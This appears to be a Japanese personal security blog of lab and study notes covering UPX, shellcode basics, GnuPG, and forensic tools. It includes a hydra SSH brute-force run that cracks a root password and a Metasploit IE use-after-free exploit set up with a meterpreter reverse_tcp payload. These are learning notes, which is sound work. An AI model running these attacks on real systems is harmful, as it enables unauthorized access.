ラベル Security の投稿を表示しています。 すべての投稿を表示
ラベル Security の投稿を表示しています。 すべての投稿を表示

2013年10月29日火曜日

Pentester academy

Pentester academy
http://www.pentesteracademy.com/

技術的な解説をスライドとビデオで行っているサイト。
有料(初期99ドル、月額39ドル)だが、一部のビデオを無料で公開している。
すべて英語で解説しているが、ネイティブではないため比較的聞き取りやすく、聞いてみる価値はあると思う。

2013年5月6日月曜日

packer と unpacker

packer とはこちらのページによると

実行形式ファイルを実行可能な状態で圧縮(暗号化)するツールのこと。「コンプレッサ」などと呼ばれる場合もある。パックされたファイルは、ユーザーがダブルクリックするだけで自己解凍され、実行される。
 ウイルス対策ソフトの検出を逃れたり、解析を面倒にする目的でウイルス作者が使用する。パッカーを変更するだけで、簡単に亜種を作成できるため、現在の亜種の大量化のひとつの要因ともなっている。
 パッカーの形式は、通常のファイルには使用されない特殊な形式であることが多く、パッカーを使用しているファイルを「不正プログラムである可能性が高い」として検知する手法も有用である。

とのこと。そして、パックされた実行ファイルをもとの状態に戻すことをアンパックといい、そのためのツールが unpacker になる。

代表的な packer/unpacker として UPX がある。

UPX
日本語の解説は wiki が詳しい。 本家のサイトはこちら。
Windows や Linux でフリーで使用できるので使い勝手はいい。ただし、Windows の 64 bit 実行ファイルには対応していないので注意が必要。
ファイル自体は MZ から始まるが、バイナリファイルを確認するとそのあと PE と続き UPX0 および UPX1 という文字が出てくるので識別は比較的容易。
Back Track でパックする場合は下記のコマンドを実行すれば同じファイルで圧縮される。

upx file.exe

アンパックする場合は -d オプションをつけて実行すれば同じファイル名でアンパックされる。

upx -d file.exe

Windows で実施する場合はコマンドラインで同様にパックおよびアンパックが可能。


そのほかにも FSG、tElock、Upack、MEW、PESpin、などなど多数あり、それぞれがどれぐらい圧縮されているかをテストした exe packer compression test というサイトもある。

そのため、実際にパックされたファイルやマルウェアをアンパックするには、PEiD などのパッカー確認ソフトでパッカーの種類を調べて、RL!Depacker でアンパックするというのが手っ取り早い。

2013年5月4日土曜日

Shellcode のお勉強 PART 1 CHAPTER 1 その1

The Shellcoder's Handbook を参考に Shellcode やバイナリ解析の勉強をしているので、実際にやってみた結果や理解のための忘備録として残します。The Shellcoder's Handbook を読もうとしている、読んでいる人の参考になればと思います。
あくまでも自分のメモ用なので正確な内容などは本を見てください。
この本で使用しているサンプルコードはここにあります。

PART 1 の CHAPTER 1 は「Before You Begin」となっており、本を読み進めるうえでの前提知識などについて書かれている。

使用する用語
  • Vulnerability(名詞):攻撃者がシステムを攻撃するのに使用するもの、セキュリティホールやセキュリティバグと言われたりする。
  • Exploit(動詞):Vulnerability(脆弱性)を利用して攻撃を行う行為。
  • Exploit(名詞):Vulnerabilityを利用したツールやコードのこと、Proof of Concept(POC)とも呼ぶ。
  • 0day(名詞):Exploit に利用されている脆弱性で未公開のもの。
  • Fuzzer(名詞):予期しない入力値を幅広いレンジで入力しシステムの検査を行うツールまたはアプリケーション、バグだしの検査に使われる。
メモリーについて
インテルの IA32 がどうやってメモリ管理をしているかを解説。セキュリティホールとして最もよくあるオーバーフローについて理解するためには必ず必要だから。
OSによって実行ファイルが呼び出されると3つのタイプのセグメントが作成される。
  • .text:読み込みのみ、プログラム命令。
  • .bss:書き込み可、グローバル変数用で初期化されていないデータ。
  • .data: 書き込み可、グローバル変数用で初期化されたデータ。
上記のセグメントを作成した後 stack と heap が初期化される。
  • stack:LIFOタイプのデータ構造で、ローカル変数を持つ、特に重要なポイントとしてスタックは grow down(下がっていく)ことであり stack に値が追加されると新しい値を示すアドレス位置はより低くなる。
  • heap:主に動的変数などを扱い、FIFOタイプのデータ構造、値が追加されると新しい値を示すアドレス位置はつみあがる。
↑アドレス下部
Shared libraries
.text
.bss
Heap (アドレス上位↓へ向かって伸びる)
Stack(アドレス下位↑へ向かって伸びる)
env pointer
Argc
↓アドレス上部

レジスターについて
レジスター(Registers) は電気回路に直接接続されている一種のメモリ。主に以下の4つのグループに分けられる。
  • General purpose:一般的な計算命令に使用、EAX/EBX/ECX が含まれデータやアドレス、オフセットアドレスなど多くの用途に使用される。その中でも ESP(extended stack pointer) は次に実行するスタックのアドレス位置を格納しており、アセンブリやバッファオーバーフローを理解するうえで重要なレジスター。
  • Segment:このレジスタグループのみ 16bit でsegment の追跡や 16bit アプリケーション用の後方互換として使用、CS/DS/SS が含まれる。
  • Control:CPU を制御するために使用、特に EIP(extended instruction pointer)は次に実行する機械命令のアドレスを格納しているため重要になる。
  • Other:EFLAGS(extended flags)というレジスターがあり、多数の CPU の結果を格納するシングルビットレジスターとして利用される。


2013年1月28日月曜日

hydra の使い方

hydra とは medusa と同様に ssh などへのパスワードクラッカーツール。
medusa に比べて古くから使用されている。
ssh は medusa が良いようだが、ftp には hydra がよさそうなど相性が多少なりあるようなので、両方使用できるほうがいい。

使用方法としては以下のとおり。medusa は hydra から派生したらしいのでオプションの使い方が似ている。

Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-SuvV46] [server service [OPT]]|[service://server[:PORT][/OPT]]
オプションは以下のとおり。
使いそうな部分を一部日本語で。

Options:
  -R        restore a previous aborted/crashed session
  -S        perform an SSL connect
  -s PORT   if the service is on a different default port, define it here
  -l LOGIN or -L FILE  小文字ならユーザ直接指定、大文字ならユーザ名が書いてあるファイル指定
  -p PASS  or -P FILE  小文字ならパスワード直接指定、大文字ならファイル指定
  -x MIN:MAX:CHARSET  password bruteforce generation, type "-x -h" to get help
  -e nsr    n ならパスワードなし、s ならユーザ名をパスワードとして設定、r はユーザ名を逆にする
  -u        loop around users, not passwords (effective! implied with -x)
  -C FILE   colon separated "login:pass" format, instead of -L/-P options
  -M FILE   list of servers to be attacked in parallel, one entry per line
  -o FILE   write found login/password pairs to FILE instead of stdout
  -f / -F   クラックできたときの処理、小文字ならホスト単位で終了、大文字なら全部終了
  -t TASKS  run TASKS number of connects in parallel (per host, default: 16)
  -w / -W TIME  waittime for responses (32s) / between connects per thread
  -4 / -6   prefer IPv4 (default) or IPv6 addresses
  -v / -V   verbose mode / show login+pass combination for each attempt
  -U        service module usage details
  server    the target server (use either this OR the -M option)
  service   the service to crack. Supported protocols: cisco cisco-enable cvs firebird ftp ftps http[s]-{head|get} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] mssql mysql ncp nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres rdp rexec rlogin rsh sip smb smtp[s] smtp-enum snmp socks5 ssh svn teamspeak telnet[s] vmauthd vnc xmpp
  OPT       some service modules need special input (use -U to see module help)
Use HYDRA_PROXY_HTTP/HYDRA_PROXY and HYDRA_PROXY_AUTH environment for a proxy.
使用例は以下のとおり。

Examples:
  hydra -l john -p doe 192.168.0.1 ftp
  hydra -L user.txt -p defaultpw -S 192.168.0.1 imap PLAIN
  hydra -l admin -P pass.txt http-proxy://192.168.0.1
  hydra -C defaults.txt -6 pop3s://[fe80::2c:31ff:fe12:ac11]:143/DIGEST-MD5
実際に使用してみると以下のようになる。

root@bt:~# hydra -l root -P passwords.txt 192.168.1.100 ssh 
Hydra v7.3 (c)2012 by van Hauser/THC & David Maciejak - for legal purposes only

Hydra (http://www.thc.org/thc-hydra) starting at 2013-01-28 18:36:47
[DATA] 16 tasks, 1 server, 503 login tries (l:1/p:503), ~31 tries per task
[DATA] attacking service ssh on port 22
[22][ssh] host: 192.168.1.100   login: root   password: toor
[STATUS] attack finished for 192.168.1.100 (waiting for children to finish)
1 of 1 target successfuly completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2013-01-28 18:36:52

2013年1月19日土曜日

GnuPG での暗号化と復号化

GNU Privacy Guard (GnuPG) での暗号化と復号化の方法

まずは共通鍵暗号方式での暗号化
-c で共通鍵暗号を指定するが初期値は CAST5 となっている
CAST5 は CAST-128 とも呼ばれるブロック暗号
nビット安全性は AES128 と同様の 128bit となっている、はず
コマンドは以下の通りで、ここにパスフレーズを入力するとファイル名に .pgp がついたファイルが作成される
root@bt:~# gpg -c input_file.txt 
暗号化されたファイルの中身は下記のような状態
root@bt:~# hexdump -C input_file.txt
00000000  54 68 69 73 20 69 73 20  74 65 73 74 20 66 69 6c  |This is test fil|
00000010  65 0a 31 32 33 34 35 0a                           |e.12345.|
00000018
root@bt:~# hexdump -C input_file.txt.gpg 
00000000  8c 0d 04 03 03 02 83 a3  03 d6 a5 b5 44 65 60 c9  |............De`.|
00000010  38 4e 7a e1 5b 05 b3 0d  e6 4d ec 7c 6d 11 32 a2  |8Nz.[....M.|m.2.|
00000020  c8 27 0c 3c a9 cf be a2  9b 6c 83 6c 45 32 80 3c  |.'.<.....l.lE2.<|
00000030  92 fa c8 b5 a9 40 94 7d  07 d1 94 0d b2 e3 97 45  |.....@.}.......E|
00000040  ec 4c 63 42 d6 05 83 4d  78                       |.LcB...Mx|
00000049
root@bt:~# 
復号化するには下記のコマンド
root@bt:~# gpg input_file.txt.gpg 
次に公開鍵暗号方式での暗号化
その前に鍵を生成する
root@bt:~# gpg --gen-key
gpg (GnuPG) 1.4.10; Copyright (C) 2008 Free Software Foundation, Inc.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

Please select what kind of key you want:
   (1) RSA and RSA (default)
   (2) DSA and Elgamal
   (3) DSA (sign only)
   (4) RSA (sign only)
Your selection? 
RSA keys may be between 1024 and 4096 bits long.
What keysize do you want? (2048) 
Requested keysize is 2048 bits
RSA の長さを選択
1024 だと 80ビット安全性で 2048 だと 112ビット安全性が確保できるらしいので特に理由がなければデフォルトそのままにしておく
Please specify how long the key should be valid.
         0 = key does not expire
        = key expires in n days
      w = key expires in n weeks
      m = key expires in n months
      y = key expires in n years
Key is valid for? (0) 
Key does not expire at all
Is this correct? (y/N) y
証明書の有効期限だが、検証用なので0を選択
You need a user ID to identify your key; the software constructs the user ID
from the Real Name, Comment and Email Address in this form:
    "Heinrich Heine (Der Dichter) "

Real name: BackTrack
Email address: BackTrack@local.com
Comment: 
You selected this USER-ID:
    "BackTrack "

Change (N)ame, (C)omment, (E)mail or (O)kay/(Q)uit? 0
Change (N)ame, (C)omment, (E)mail or (O)kay/(Q)uit? O
You need a Passphrase to protect your secret key.

gpg: gpg-agent is not available in this session
We need to generate a lot of random bytes. It is a good idea to perform
some other action (type on the keyboard, move the mouse, utilize the
disks) during the prime generation; this gives the random number
generator a better chance to gain enough entropy.
+++++
.....++++++++++
gpg: /root/.gnupg/trustdb.gpg: trustdb created
gpg: key BCE10D31 marked as ultimately trusted
public and secret key created and signed.

gpg: checking the trustdb
gpg: 3 marginal(s) needed, 1 complete(s) needed, PGP trust model
gpg: depth: 0  valid:   1  signed:   0  trust: 0-, 0q, 0n, 0m, 0f, 1u
pub   2048R/BCE10D31 2013-01-19
      Key fingerprint = 4A65 8013 36B1 4B16 9070  FEB6 5DB9 15ED BCE1 0D31
uid                  BackTrack 
sub   2048R/BC2B0ED6 2013-01-19

root@bt:~# 
あとはパスフレーズと求められた情報を入力して作成完了
下記コマンドで作成された鍵のリストが確認できる
 
root@bt:~# gpg --list-keys
/root/.gnupg/pubring.gpg
------------------------
pub   2048R/BCE10D31 2013-01-19
uid                  BackTrack 
sub   2048R/BC2B0ED6 2013-01-19
実際にはホームディレクトリに.gnupgディレクトリが作成されて、そこに公開鍵と秘密鍵が格納されている
root@bt:~# ls -l /root/.gnupg/
total 32
-rw------- 1 root root 9364 2013-01-19 12:35 gpg.conf
-rw------- 1 root root 1190 2013-01-19 13:03 pubring.gpg
-rw------- 1 root root 1190 2013-01-19 13:03 pubring.gpg~
-rw------- 1 root root  600 2013-01-19 13:03 random_seed
-rw------- 1 root root 2568 2013-01-19 13:03 secring.gpg
-rw------- 1 root root 1280 2013-01-19 13:03 trustdb.gpg
root@bt:~# 
root@bt:~# 
他の公開鍵を取得した場合には下記のコマンドでインポートする必要がある
gpg --import FILENAME
鍵のペアをインポートするには以下のコマンド
gpg --import --allow-secret-key-import FILENAME
秘密鍵で暗号化するには -r で鍵を指定する必要がある
また -e を指定した場合にはファイル名に gpg がついたバイナリファイルが生成され、-aを指定した場合にはファイル名に asc がついたアスキーファイルが生成される
root@bt:~# gpg -e -r BackTrack@local.com -e input_file.txt 
root@bt:~# 
root@bt:~# hexdump -C input_file.txt.gpg 
00000000  85 01 0c 03 2e 43 89 fa  bc 2b 0e d6 01 07 ff 5b  |.....C...+.....[|
00000010  51 fa b9 9b b3 de 19 d0  0d 18 e6 fa 3f fd 19 f3  |Q...........?...|
00000020  dd a4 9d 97 12 b0 cb 81  51 32 ef 8f 48 e3 95 13  |........Q2..H...|
00000030  42 00 e0 1b c5 7b 48 17  95 07 38 ee a6 e7 4d d9  |B....{H...8...M.|
00000040  cb c8 9a 38 46 33 81 bb  b1 6c 1e 1a ba 0d 5e bc  |...8F3...l....^.|
00000050  19 7b 36 73 b4 cf 72 06  08 9b 2b 2c cf 71 4b d4  |.{6s..r...+,.qK.|
00000060  ee 00 8c fd f6 61 88 70  ac be dc 00 0b f7 11 4f  |.....a.p.......O|
00000070  76 e4 4f 25 59 f1 e0 f8  f7 d8 34 98 c6 f8 33 bd  |v.O%Y.....4...3.|
00000080  f0 92 62 65 82 f3 8f d3  10 51 b3 38 aa 41 a9 bf  |..be.....Q.8.A..|
00000090  81 85 ea 3e 77 4f 24 09  75 8a 40 e1 d1 37 80 87  |...>wO$.u.@..7..|
000000a0  8d 74 84 1a 59 1b d1 94  68 f1 c6 47 fd ed 46 ba  |.t..Y...h..G..F.|
000000b0  80 29 89 1f 69 95 c3 34  61 4a 76 cb c5 9c e4 71  |.)..i..4aJv....q|
000000c0  c8 87 c3 93 88 13 00 d9  d1 84 f4 6e d1 7c 87 36  |...........n.|.6|
000000d0  30 6e 6d ee cf 77 5c 93  c1 06 8e a3 bf 25 fd b4  |0nm..w\......%..|
000000e0  b9 b5 81 ac f9 b4 57 31  b3 3b 82 8f 46 90 ef 24  |......W1.;..F..$|
000000f0  2d 62 58 2a b8 14 08 6a  b1 af 1b 55 4f 54 63 05  |-bX*...j...UOTc.|
00000100  84 ef 8c 1d 33 37 e1 53  5a 4b 09 09 45 a3 df d2  |....37.SZK..E...|
00000110  5d 01 2e 71 61 09 f2 80  be 14 92 5f 56 2e c8 33  |]..qa......_V..3|
00000120  81 7e 0d 66 49 3f 93 25  bc cd 15 9d e8 9f 6d 87  |.~.fI?.%......m.|
00000130  d1 30 50 d8 9f 2b 04 82  d1 29 34 d1 6e 1d 72 64  |.0P..+...)4.n.rd|
00000140  67 f7 5e 3c a3 af 2d b3  06 c6 73 98 bb 0a 21 63  |g.^<..-...s...!c|
00000150  1f 84 ac 81 c4 70 79 ad  24 d0 fd 8c 21 2c 5a bb  |.....py.$...!,Z.|
00000160  1a 3b a5 ff c0 5d 88 cd  47 d4 22 24 88 5a        |.;...]..G."$.Z|
0000016e
root@bt:~# 
root@bt:~# gpg -a -r BackTrack@local.com -e input_file.txt 
root@bt:~# hexdump -C input_file.txt.asc 
00000000  2d 2d 2d 2d 2d 42 45 47  49 4e 20 50 47 50 20 4d  |-----BEGIN PGP M|
00000010  45 53 53 41 47 45 2d 2d  2d 2d 2d 0a 56 65 72 73  |ESSAGE-----.Vers|
00000020  69 6f 6e 3a 20 47 6e 75  50 47 20 76 31 2e 34 2e  |ion: GnuPG v1.4.|
00000030  31 30 20 28 47 4e 55 2f  4c 69 6e 75 78 29 0a 0a  |10 (GNU/Linux)..|
00000040  68 51 45 4d 41 79 35 44  69 66 71 38 4b 77 37 57  |hQEMAy5Difq8Kw7W|
00000050  41 51 66 2b 4b 76 70 52  52 4f 42 33 67 6a 79 5a  |AQf+KvpRROB3gjyZ|
00000060  4e 71 72 5a 61 68 43 70  54 48 6a 67 68 42 71 74  |NqrZahCpTHjghBqt|
00000070  33 4c 72 41 71 44 56 4b  35 71 67 68 51 4b 75 4a  |3LrAqDVK5qghQKuJ|
00000080  0a 38 55 4e 7a 4d 7a 4b  35 33 63 47 70 37 79 68  |.8UNzMzK53cGp7yh|
00000090  4d 2b 4c 6c 38 37 64 79  6c 51 4e 45 78 51 59 68  |M+Ll87dylQNExQYh|
000000a0  2f 56 4d 78 71 41 50 75  76 59 75 6a 49 55 37 6d  |/VMxqAPuvYujIU7m|
000000b0  46 4c 6d 73 2b 58 69 78  2b 68 4f 35 54 71 43 67  |FLms+Xix+hO5TqCg|
000000c0  55 0a 37 4e 34 31 76 54  47 49 47 34 73 42 50 67  |U.7N41vTGIG4sBPg|
000000d0  59 4e 38 79 6c 38 79 56  64 6e 33 42 6c 30 72 42  |YN8yl8yVdn3Bl0rB|
000000e0  65 6c 6c 6d 30 66 2f 43  33 6b 4f 52 5a 46 58 48  |ellm0f/C3kORZFXH|
000000f0  6b 30 7a 71 75 33 41 64  57 4e 45 6d 62 4a 55 4c  |k0zqu3AdWNEmbJUL|
00000100  42 5a 0a 2b 38 41 6c 6d  6e 6e 74 30 44 71 68 58  |BZ.+8Almnnt0DqhX|
00000110  2b 31 77 65 45 35 43 37  57 57 6d 36 46 2f 79 30  |+1weE5C7WWm6F/y0|
00000120  49 4a 54 55 42 58 49 50  54 77 49 39 6d 5a 75 51  |IJTUBXIPTwI9mZuQ|
00000130  7a 6a 2b 73 4f 69 4c 75  69 46 6e 38 41 4b 54 77  |zj+sOiLuiFn8AKTw|
00000140  6f 4d 73 0a 70 36 61 56  67 39 76 4d 30 69 53 6c  |oMs.p6aVg9vM0iSl|
00000150  71 34 6a 53 4a 55 45 48  36 6a 52 6a 39 70 48 65  |q4jSJUEH6jRj9pHe|
00000160  77 57 63 53 2b 77 50 45  58 69 74 2b 45 7a 43 52  |wWcS+wPEXit+EzCR|
00000170  64 32 54 6e 66 74 54 6e  6f 57 58 36 62 54 74 76  |d2TnftTnoWX6bTtv|
00000180  48 63 43 63 0a 39 49 44  6d 6c 58 6c 2b 48 72 78  |HcCc.9IDmlXl+Hrx|
00000190  59 49 46 66 55 43 42 66  5a 6c 41 73 75 41 6d 74  |YIFfUCBfZlAsuAmt|
000001a0  38 4e 78 4f 77 71 79 67  77 43 78 4d 45 6c 74 4a  |8NxOwqygwCxMEltJ|
000001b0  64 41 57 71 71 50 78 76  53 6f 65 39 77 67 52 41  |dAWqqPxvSoe9wgRA|
000001c0  6d 54 34 58 4a 0a 6f 58  67 32 2b 54 78 45 74 59  |mT4XJ.oXg2+TxEtY|
000001d0  2f 43 34 42 35 38 2b 48  7a 61 64 43 6a 5a 47 47  |/C4B58+HzadCjZGG|
000001e0  4d 4a 6f 50 47 6e 76 75  4a 71 36 46 6a 35 65 62  |MJoPGnvuJq6Fj5eb|
000001f0  37 50 55 66 34 75 4c 42  45 2f 52 46 34 44 55 78  |7PUf4uLBE/RF4DUx|
00000200  73 39 59 41 4f 44 0a 69  31 43 37 62 6b 4d 30 54  |s9YAOD.i1C7bkM0T|
00000210  77 66 66 2b 57 7a 64 39  76 50 75 33 78 49 6f 35  |wff+Wzd9vPu3xIo5|
00000220  73 32 71 57 45 58 6e 6b  2f 49 31 34 34 71 6c 0a  |s2qWEXnk/I144ql.|
00000230  3d 71 36 70 33 0a 2d 2d  2d 2d 2d 45 4e 44 20 50  |=q6p3.-----END P|
00000240  47 50 20 4d 45 53 53 41  47 45 2d 2d 2d 2d 2d 0a  |GP MESSAGE-----.|
00000250
root@bt:~# 
暗号化と復号化の流れは下記のとおり
root@bt:~# gpg -e -r BackTrack@local.com -e input_file2.txt 
root@bt:~# 
root@bt:~# 
root@bt:~# hexdump -C input_file2.txt.gpg 
00000000  85 01 0c 03 2e 43 89 fa  bc 2b 0e d6 01 07 ff 66  |.....C...+.....f|
00000010  f2 77 fa 14 08 16 65 8c  1a c8 87 40 34 ed 82 0f  |.w....e....@4...|
00000020  6b 75 ea 87 d6 99 7c e1  a0 fe 92 ef 0c 4a 97 6d  |ku....|......J.m|
00000030  91 1d f1 04 9c 98 58 98  a9 e0 f1 f1 67 16 79 f8  |......X.....g.y.|
00000040  90 c0 69 74 d2 4d c1 41  d7 4d 89 00 c9 ec e8 56  |..it.M.A.M.....V|
00000050  cd 26 86 13 3e 97 04 17  b8 a6 4d ea 4f 78 a7 df  |.&..>.....M.Ox..|
00000060  c8 61 11 4c 72 ab 55 32  23 57 34 74 16 59 30 7f  |.a.Lr.U2#W4t.Y0.|
00000070  de 25 4f 53 d0 d3 04 d0  99 b4 52 ac b6 84 6e 1d  |.%OS......R...n.|
00000080  bf ab a2 cb f4 67 4d 8f  7e bf 61 ac 6a 3d 4e e2  |.....gM.~.a.j=N.|
00000090  d2 2f cc f9 9e e9 d8 0a  57 74 bb e6 1b 49 39 25  |./......Wt...I9%|
000000a0  58 d2 e4 9c 39 a8 da 9c  f3 83 dc a0 de b3 89 2d  |X...9..........-|
000000b0  6c f3 68 a3 da 03 80 18  6b 79 34 50 d6 3d 24 73  |l.h.....ky4P.=$s|
000000c0  4a 3f c5 8b 64 3a c9 c3  38 bf db 5e 92 f0 5e 0e  |J?..d:..8..^..^.|
000000d0  7e e7 35 10 68 79 08 fe  fc 97 e8 34 ca 70 fc ba  |~.5.hy.....4.p..|
000000e0  03 f3 9c b7 f9 d8 8c 5f  40 c2 94 d8 08 15 72 a6  |......._@.....r.|
000000f0  ba 67 30 8b 14 df 91 7d  93 ca 38 24 43 05 41 18  |.g0....}..8$C.A.|
00000100  f4 80 6e a7 7f c5 ed 66  3a 7e 63 f0 01 49 cc d2  |..n....f:~c..I..|
00000110  5e 01 f4 2a 85 03 34 19  27 e6 76 50 c1 05 7f 32  |^..*..4.'.vP...2|
00000120  2b bd 08 e0 bd 6a 4e 3a  1d 05 4e 02 77 79 f4 eb  |+....jN:..N.wy..|
00000130  66 57 25 b0 53 16 a5 c3  0d 3e fb 36 7f 79 5a 80  |fW%.S....>.6.yZ.|
00000140  72 29 63 58 3a a5 f6 c0  0b f7 a3 84 bf c4 4d 34  |r)cX:.........M4|
00000150  63 1d 2c d2 93 f5 08 58  8b 3d ba 16 5a 6a 9b 87  |c.,....X.=..Zj..|
00000160  07 11 dd 85 0c 29 81 06  9a c6 5f 40 c0 dd 63     |.....)...._@..c|
0000016f
root@bt:~# 
root@bt:~# gpg -d input_file2.txt.gpg 

You need a passphrase to unlock the secret key for
user: "BackTrack "
2048-bit RSA key, ID BC2B0ED6, created 2013-01-19 (main key ID BCE10D31)

gpg: gpg-agent is not available in this session
gpg: encrypted with 2048-bit RSA key, ID BC2B0ED6, created 2013-01-19
      "BackTrack "
test case 2
just try
root@bt:~# 
暗号化されたファイルの先頭 8bit は 10 + type + パケット長依存となっているようなので、ある程度は先頭ビットで暗号の判断ができると思う
そのためには、暗号化されたファイルのパケットリストを表示させる
root@bt:~# gpg --list-packets input_file.txt.gpg 
:pubkey enc packet: version 3, algo 1, keyid 2E4389FABC2B0ED6
        data: [2047 bits]

You need a passphrase to unlock the secret key for
user: "BackTrack "
2048-bit RSA key, ID BC2B0ED6, created 2013-01-19 (main key ID BCE10D31)

gpg: gpg-agent is not available in this session
:encrypted data packet:
        length: 93
        mdc_method: 2
gpg: encrypted with 2048-bit RSA key, ID BC2B0ED6, created 2013-01-19
      "BackTrack "
:compressed packet: algo=2
:literal data packet:
        mode b (62), created 1358569386, name="input_file.txt",
        raw data: 24 bytes
root@bt:~# 
最初のパケットは pubkey enc packet となっている
ソースコードの定義だと1になっている
typedef enum 
  {
    PKT_NONE          = 0,
    PKT_PUBKEY_ENC    = 1,  /* Public key encrypted packet. */
    PKT_SIGNATURE     = 2,  /* Secret key encrypted packet. */
    PKT_SYMKEY_ENC    = 3,  /* Session key packet. */
    PKT_ONEPASS_SIG   = 4,  /* One pass sig packet. */
    PKT_SECRET_KEY    = 5,  /* Secret key. */
    PKT_PUBLIC_KEY    = 6,  /* Public key. */
    PKT_SECRET_SUBKEY = 7,  /* Secret subkey. */
    PKT_COMPRESSED    = 8,  /* Compressed data packet. */
    PKT_ENCRYPTED     = 9,  /* Conventional encrypted data. */
    PKT_MARKER        = 10, /* Marker packet. */
    PKT_PLAINTEXT     = 11, /* Literal data packet. */
    PKT_RING_TRUST    = 12, /* Keyring trust packet. */
    PKT_USER_ID       = 13, /* User id packet. */
    PKT_PUBLIC_SUBKEY = 14, /* Public subkey. */
    PKT_OLD_COMMENT   = 16, /* Comment packet from an OpenPGP draft. */
    PKT_ATTRIBUTE     = 17, /* PGP's attribute packet. */
    PKT_ENCRYPTED_MDC = 18, /* Integrity protected encrypted data. */
    PKT_MDC           = 19, /* Manipulation detection code packet. */
    PKT_COMMENT       = 61, /* new comment packet (GnuPG specific). */
    PKT_GPG_CONTROL   = 63  /* internal control packet (GnuPG specific). */
  } 
そのため、10+0001+xx となり、84,85,86 が先頭ビットの場合は公開鍵暗号で暗号化されたファイルの可能性が高い
共通鍵暗号方式の場合は symkey enc packet となっている
root@bt:~# gpg --list-packets input_file.txt.gpg 
:symkey enc packet: version 4, cipher 3, s2k 3, hash 2
        salt 6c8c20e893de5006, count 65536 (96)
gpg: CAST5 encrypted data
gpg: gpg-agent is not available in this session
:encrypted data packet:
        length: 56
gpg: encrypted with 1 passphrase
:compressed packet: algo=1
:literal data packet:
        mode b (62), created 1358577733, name="input_file.txt",
        raw data: 24 bytes
gpg: WARNING: message was not integrity protected
root@bt:~# 
そのため、10+0011+xx となり 8C,8D,8E から始まる場合は共通鍵暗号方式で暗号化されている可能性が高い

2013年1月7日月曜日

CVE-2012-4792 Internet Explorer 解放済みメモリ使用 (use-after-free) の脆弱性

CVE-2012-4792 で IE 8 以前の IE に use-after-free の脆弱性が報告されており、metasploit に実行モジュールが提供されていたので実験してみる。

JVNVU#92426910
Internet Explorer に任意のコードが実行される脆弱性
http://jvn.jp/cert/JVNVU92426910/index.html

その前に use-after-free について調べてみる。
日本語に訳すと解放済みメモリ使用。メモリ解放が適切に処理されていないために発生する不具合らしい。
下記のサイトに実験コード付きで解説があった。
https://www.fortify.com/vulncat/ja/vulncat/cpp/use_after_free.html
また下記のサイトによると、一度解放されたオブジェクトが使用していたアドレス空間を再度別な目的で利用するために発生するとのこと。
http://blogs.msdn.com/b/ie/archive/2012/03/12/enhanced-memory-protections-in-ie10.aspx

Metasploit をアップデートしてサーバの設定を入れてみる。

msf > use exploit/windows/browser/ie_cbutton_uaf
msf exploit(ie_cbutton_uaf) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ie_cbutton_uaf) > set SRVHOST 10.0.0.1
msf exploit(ie_cbutton_uaf) > set SRVPORT 80
msf exploit(ie_cbutton_uaf) > set LHOST 10.0.0.1
msf exploit(ie_cbutton_uaf) > set LPORT 8080
msf exploit(ie_cbutton_uaf) > set URIPATH ie
msf exploit(ie_cbutton_uaf) > exploit

このあと、Windows XP SP3 の IE8 からアクセスするが exploit は成功しなかった。
IE には「お使いのコンピューターを保護するため Internet Explorer はこの Web ページを閉じました。」と表示されていた。
少し調べてみるとソースコードに以下の文章を発見。

Please note: This vulnerability has been exploited in the wild targeting mainly China/Taiwan/and US-based computers.

どうやら日本語ファイアウォールが防御していたらしい。日本語の windows しか手元になかったので今回の検証はここまで。

JVNによると1月7日時点での対応策は以下の二つ。

- Fix it 50971 を適用する
- Enhanced Mitigation Experience Toolkit (EMET) を適用する

EMET は Enhanced Mitigation Experience Toolkit のこと。古いプログラムでは有効にされていないセキュリティ対策を強制的に適用するツール。具体的には DEP、SEHOP、ASLR を適用した状態でプログラムを実行できるらしい。
そのため使用していたアプリケーションが動かなくなる場合があるのは注意が必要。

2012年12月27日木曜日

log2timeline-sift の使い方

SANS が提供する SIFT に入っている log2timeline-sift は HDD のイメージからタイムラインを作成するツール。

使い方は下記にある。
http://computer-forensics.sans.org/blog/2011/12/07/digital-forensic-sifting-super-timeline-analysis-and-creation

コマンドラインの基本的な使い方は
log2timeline-sift -z <time zone> -p <partition #> -i <image>

だが、これだとうまくいかなかった。
環境としては Win7 のパーティションイメージだったので、 -win7 -p 0 にして、なぜかマウントポイントを最後につけたらうまくいった。原因はまったくもって不明、なくてもよかったのかも。

log2timeline-sift -win7 -z Japan -p 0 -i <image_file> <mount point>

コマンドがはいると、「マウントする?」と聞かれるので y を押すと、そのまま解析に入る。
またディスクイメージでパーティションが複数ある場合は街頭のパーティションを選択する。
その場合、-p 0 オプションは不要、またはパーティション番号を入力。

SIFT で実行した場合は下記のフォルダに <image_file>_bodyfile.txt で作成される。

/cases/timeline-output-folder/

作成されたファイルはエクセルなどの表計算ソフトで開くことができる。
かなり大きなサイズになっているので、探したい期間がある程度絞れているなら、l2t_process -b で期間指定し csv ファイルにすると扱いやすい。

l2t_process -b <image_file>_bodyfile.txt 12-01-2012..12-31-2012 > <image_file>_bodyfile.csv




2012年12月20日木曜日

NetworkMiner の使い方

NetworkMiner は NETRESEC が提供する Windows 向けのネットワークフォレンジックツール。
パケットキャプチャ機能もあるが、統計データやキャプチャしたデータから様々なデータを取り出すのに向いている。

下記から実行ファイルがダウンロードできる。インストールは不要で実行ファイルのみ。
http://www.netresec.com/?page=NetworkMiner

ただし、NET Framework 2.0 が必要。あと winpcap も必要らしい。
詳しくは下記サイト。
http://sourceforge.net/apps/mediawiki/networkminer/index.php?title=NetworkMiner

実行ファイルを起動したら、File から pcap ファイルを読み込むことが可能。
読み込むと左のウィンドウに表示されるので選択して下にある Reload Case Files で読み込んであとは勝手に解析してくれる。

よく使いそうなのは Files と Credentials のタブ。
Files はキャプチャファイルの中で送受信があったファイルを復元してくれている。同じようなものに Images タブもある。
Credentials タブにはユーザ名やパスワードなど重要な情報を抜き出してくれる。

